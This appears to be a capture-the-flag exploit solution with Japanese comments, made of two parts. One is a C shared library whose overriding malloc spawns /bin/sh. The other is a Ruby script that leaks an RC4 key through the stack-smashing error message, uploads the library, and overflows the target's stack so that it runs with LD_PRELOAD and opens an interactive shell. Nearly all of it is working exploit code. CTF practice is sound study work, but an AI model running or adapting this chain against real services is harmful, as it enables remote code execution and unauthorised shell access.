Created by
Masafumi Yabu
| // 説明があった通り__attribute__ ((constructor))を使うべき
int malloc(char *s, char*t) {
close(1);
dup2(2,1);
execve("/bin/sh", 0, 0);
}
|
| # coding: ASCII-8BIT
# 事前に gcc -lshared -fPIC attack.c -o attack.soを実行すること
require 'ctf'
# 拡張後のキーからRC4暗号化を行う
class RC4
def initialize(extended_key)
@i, @j = 0, 0
@data = extended_key.unpack("C*")
end
def next
@i = (@i + 1) & 255
@j = (@j + @data[@i]) & 255
@data[@i], @data[@j] = @data[@j], @data[@i]
@data[(@data[@i] + @data[@j]) & 255].chr
end
def encrypt(s)
s ^ Array.new(s.size){self.next}.join
end
end
# 決められた大きさになるまで文字列に'\0'を加える
def pad(x, size)
x + "\0" * (size - x.size)
end
host = ARGV[0]
key = (File.exist?("#{host}.key")&& File.binread("#{host}.key")) || "" # rc4の鍵をキャッシュされているか
if key ==''
# 鍵が求まっていなければ、argv[0]のリークで取得
while key.size < 256
TCPSocket.open(ARGV[0], ARGV[1]) do |s|
s.echo = true
s.print "\0" + "B" * 279 + [0x602160 + key.length, 0].pack("q*") + "\n"
s.flush
s.expect('*** stack smashing detected ***: ')
tkey = s.expect(' terminated')[0]
key += tkey[0...-11] + "\0"
end
end
key = key[0,256] if key.size > 256
File.binwrite("#{host}.key", key)
end
target = "\x62\x31\xaa\x85\xbd\xbf\x9f\xf3\x8a\x02\x0c\x75\xac\x23\xab\xe4\x82\xc5\x25\x7a\xef\xbd\xc9\x61" # 分岐を通すための文字列 0x400da6
# まずattack.soを送り込む
rc4 = RC4.new(key)
TCPSocket.open(ARGV[0], ARGV[1]) do |s|
s.echo = true
s.print rc4.encrypt(target)
s.print "\n"
s.expect('message')
s.echo = false
s.print File.binread('./attack.so')
s.flush
sleep 2
s.close
end
# LD_PRELOAD=./messageな状態でコマンドを実行させることでシェルを取る
rc4 = RC4.new(key)
TCPSocket.open(ARGV[0], ARGV[1]) do |s|
s.echo = true
ld_preload = 0x602120 + target.size + 1
s.print pad(rc4.encrypt(target + "\0LD_PRELOAD=./message\0"), 280) + [0x400d84, 0, ld_preload].pack('q*')
s.print "\n"
s.expect('message')
s.interactive!
end
|